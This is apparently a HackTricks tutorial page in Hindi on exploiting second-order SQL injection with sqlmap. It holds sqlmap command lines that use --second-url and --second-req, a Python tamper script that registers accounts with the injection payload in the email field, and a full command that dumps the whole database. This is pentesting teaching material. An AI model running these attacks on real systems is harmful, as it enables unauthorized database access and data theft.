tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
SQLMap द्वितीय क्रम SQLis का लाभ उठा सकता है।
आपको प्रदान करने की आवश्यकता है:
- वह अनुरोध जहाँ sqlinjection payload को सहेजा जाएगा
- वह अनुरोध जहाँ payload को निष्पादित किया जाएगा
SQL injection payload को सहेजने वाला अनुरोध sqlmap में किसी अन्य injection की तरह संकेतित किया गया है। वह अनुरोध जहाँ sqlmap injection का आउटपुट/निष्पादन पढ़ सकता है उसे --second-url
या --second-req
के साथ संकेतित किया जा सकता है यदि आपको किसी फ़ाइल से एक पूर्ण अनुरोध संकेतित करने की आवश्यकता है।
सरल द्वितीय क्रम उदाहरण:
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
कई मामलों में यह पर्याप्त नहीं होगा क्योंकि आपको पेलोड भेजने और एक अलग पृष्ठ पर पहुंचने के अलावा अन्य क्रियाएं करने की आवश्यकता होगी।
जब इसकी आवश्यकता हो, तो आप sqlmap tamper का उपयोग कर सकते हैं। उदाहरण के लिए, निम्नलिखित स्क्रिप्ट एक नए उपयोगकर्ता को sqlmap पेलोड को ईमेल के रूप में पंजीकृत करेगी और लॉगआउट करेगी।
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
एक SQLMap tamper हमेशा एक पेलोड के साथ इंजेक्शन प्रयास शुरू करने से पहले निष्पादित होता है और इसे एक पेलोड लौटाना होता है। इस मामले में हमें पेलोड की परवाह नहीं है, लेकिन हमें कुछ अनुरोध भेजने की परवाह है, इसलिए पेलोड नहीं बदला जाता है।
तो, यदि किसी कारणवश हमें दूसरे क्रम के SQL इंजेक्शन का शोषण करने के लिए एक अधिक जटिल प्रवाह की आवश्यकता है जैसे:
- "ईमेल" फ़ील्ड के अंदर SQLi पेलोड के साथ एक खाता बनाना
- लॉगआउट करना
- उस खाते के साथ लॉगिन करना (login.txt)
- SQL इंजेक्शन निष्पादित करने के लिए एक अनुरोध भेजना (second.txt)
यह sqlmap लाइन मदद करेगी:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।